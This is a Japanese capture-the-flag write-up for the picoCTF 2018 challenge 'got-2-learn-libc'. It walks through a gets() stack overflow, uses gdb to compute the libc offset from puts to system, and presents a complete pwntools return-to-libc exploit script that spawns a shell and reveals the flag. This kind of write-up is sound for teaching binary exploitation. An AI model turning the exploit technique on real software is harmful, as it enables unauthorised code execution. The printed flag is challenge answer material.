picoCTF 2018: got-2-learn-libc

問題

問題文

This program gives you the address of some system calls. Can you get a shell? You can find the program in /problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33 on the shell server. Source.

Hints

try returning to systems calls to leak information

don't forget you can always return back to main()

問題概要

脆弱性のあるプログラム及びそのソースコードが与えられる.

解答例

指針

  • return-to-libc

解説

与えられたソースコードは以下の通り.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */


void vuln(){
  char buf[BUFSIZE];
  puts("Enter a string:");
  gets(buf);
  puts(buf);
  puts("Thanks! Exiting now...");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  puts("Here are some useful addresses:\n");

  printf("puts: %p\n", puts);
  printf("fflush %p\n", fflush);
  printf("read: %p\n", read);
  printf("write: %p\n", write);
  printf("useful_string: %p\n", useful_string);

  printf("\n");
  
  vuln();

  
  return 0;
}

実際にプログラムを実行してみる.

kira924age@pico-2018-shell-2:/problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33$ ls
flag.txt  vuln  vuln.c
kira924age@pico-2018-shell-2:/problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33$ ./vuln
Here are some useful addresses:

puts: 0xf7607140
fflush 0xf7605330
read: 0xf767c350
write: 0xf767c3c0
useful_string: 0x565fa030

Enter a string:
hoge
hoge
Thanks! Exiting now...
kira924age@pico-2018-shell-2:/problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33$ ./vuln
Here are some useful addresses:

puts: 0xf764f140
fflush 0xf764d330
read: 0xf76c4350
write: 0xf76c43c0
useful_string: 0x56563030

Enter a string:
hoge
hoge
Thanks! Exiting now...
kira924age@pico-2018-shell-2:/problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33$ ./vuln
Here are some useful addresses:

puts: 0xf7596140
fflush 0xf7594330
read: 0xf760b350
write: 0xf760b3c0
useful_string: 0x56618030

Enter a string:
aaaa
aaaa
Thanks! Exiting now...

出力されるアドレスの値は毎回異なったものであった. これは ASLR (Address Space Layout Randomization) と呼ばれるアドレスをランダム化するセキュリティ機構が有効になっているためである.

関数 vuln() 内で gets() 関数を使っているので, 自明な Stack Buffer Overflow の脆弱性がある. stack にうまく値を積んで,

system("/bin/sh");

を実行し shell の制御を奪うことを目指す.

ここで必要な情報は 共有ライブラリである libc 内の system() 関数のアドレスと文字列 /bin/sh のアドレスである.

後者はすでに与えられている.

system() 関数のアドレスは ASLR により毎回異なる値となるが, 他の libc 内の関数と system() 関数とのアドレス値の差は常に同じとなるため, 事前にその差分を求めれば system() 関数のアドレスを計算により求めることができる.

gdb を用いて, ともに libc 内の関数である puts() と system() のアドレス値の差分を求める.

kira924age@pico-2018-shell-2:/problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33$ gdb -q ./vuln
Reading symbols from ./vuln...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x812
Starting program: /problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33/vuln

Temporary breakpoint 1, 0x56630812 in main ()
(gdb) print &puts
$1 = (<text variable, no debug info> *) 0xf7588140 <puts>
(gdb) print &system
$2 = (<text variable, no debug info> *) 0xf7563940 <system>

(system のアドレス) - (puts のアドレス) を計算する

$ python -c "print 0xf7563940-0xf7588140"
-149504

つぎに, Stack にうまく値を積む方法を考える. これは buffer overflow 2 と同様に Call Stack の状態をトレースすれば簡単にわかる.

kira924age@pico-2018-shell-2:/problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33$ gdb -q ./vuln
Reading symbols from ./vuln...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) start
Temporary breakpoint 1 at 0x812
Starting program: /problems/got-2-learn-libc_3_6e9881e9ff61c814aafaf92921e88e33/vuln

Temporary breakpoint 1, 0x5657f812 in main ()
(gdb) disas vuln
Dump of assembler code for function vuln:
   0x5657f7a0 <+0>:     push   ebp
   0x5657f7a1 <+1>:     mov    ebp,esp
   0x5657f7a3 <+3>:     push   ebx
   0x5657f7a4 <+4>:     sub    esp,0xa4
   0x5657f7aa <+10>:    call   0x5657f670 <__x86.get_pc_thunk.bx>
   0x5657f7af <+15>:    add    ebx,0x1851
   0x5657f7b5 <+21>:    sub    esp,0xc
   0x5657f7b8 <+24>:    lea    eax,[ebx-0x1670]
   0x5657f7be <+30>:    push   eax
   0x5657f7bf <+31>:    call   0x5657f618
   0x5657f7c4 <+36>:    add    esp,0x10
   0x5657f7c7 <+39>:    sub    esp,0xc
   0x5657f7ca <+42>:    lea    eax,[ebp-0x9c]
   0x5657f7d0 <+48>:    push   eax
   0x5657f7d1 <+49>:    call   0x5657f5b0 <gets@plt>
   0x5657f7d6 <+54>:    add    esp,0x10
   0x5657f7d9 <+57>:    sub    esp,0xc
   0x5657f7dc <+60>:    lea    eax,[ebp-0x9c]
   0x5657f7e2 <+66>:    push   eax
   0x5657f7e3 <+67>:    call   0x5657f618
   0x5657f7e8 <+72>:    add    esp,0x10
   0x5657f7eb <+75>:    sub    esp,0xc
   0x5657f7ee <+78>:    lea    eax,[ebx-0x1660]
   0x5657f7f4 <+84>:    push   eax
   0x5657f7f5 <+85>:    call   0x5657f618
   0x5657f7fa <+90>:    add    esp,0x10
   0x5657f7fd <+93>:    nop
   0x5657f7fe <+94>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x5657f801 <+97>:    leave
   0x5657f802 <+98>:    ret
End of assembler dump.
(gdb)

以下の部分より, 変数 buf の先頭アドレスが [ebp-0x9c] だとわかる.

   0x5657f7ca <+42>:    lea    eax,[ebp-0x9c]
   0x5657f7d0 <+48>:    push   eax
   0x5657f7d1 <+49>:    call   0x5657f5b0 <gets@plt>

したがって Call Stack の状態は以下のようになっている.

(lower address)

|  top of buf | <= [ebp-0x9c]
....
| saved ebp   |
| return addr |

(higher address)

このとき, return addr が system() のアドレスになるようにすればいい.

具体的には, buf の先頭アドレス, [ebp-0x9c] から [ebp-0x01] までの 0x9c Bytes + 4 Bytes (saved ebp が格納されているレジスタ) を適当な文字で埋め, その直後に system() のアドレス値を置く.

buf = 'A' * (0x9c+4)
buf += system_addr

次に vuln() の return address を system() のアドレスにし, vuln() の ret 命令が実行され, system() へ jmp したときのことを考える.

このとき Call Stack の状態は以下のようになっているはずである.

(lower address)

|  top of buf | <= [ebp-0x9c]
....
|   old ebp   |
|  saved ebp  | ( <= [old return addr] )
| return addr |
|   param 1   |

(higher address)

param 1 にあたる部分を /bin/sh (useful_string) のアドレスになるようにすればいい.

したがって exploit は以下のように書ける.

#!/usr/bin/env python2

from pwn import *

data = process('./vuln')
addr_diff = -149504

print data.recvuntil(':\n')
data2 = data.recvuntil(':\n')

print data2
data2 = data2.split('\n')

puts_addr = int(data2[1].split(': ')[1][2:], 16)
useful_str_addr = int(data2[5].split(': ')[1][2:], 16)

system_addr = puts_addr + addr_diff

buf = 'A' * (0x9c+4)
buf += p32(system_addr)
buf += 'A'*4
buf += p32(useful_str_addr)

data.sendline(buf)
data.interactive()
  • 実行結果
$ python ~/exploit.py
[+] Starting local process './vuln': pid 12930
Here are some useful addresses:


puts: 0xf75a3140
fflush 0xf75a1330
read: 0xf7618350
write: 0xf76183c0
useful_string: 0x565d5030

Enter a string:

[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@▒W▒AAAA0P]V
Thanks! Exiting now...
$ ls
flag.txt  vuln    vuln.c
$ cat flag.txt
picoCTF{syc4al1s_4rE_uS3fUl_6319ec91}

参考文献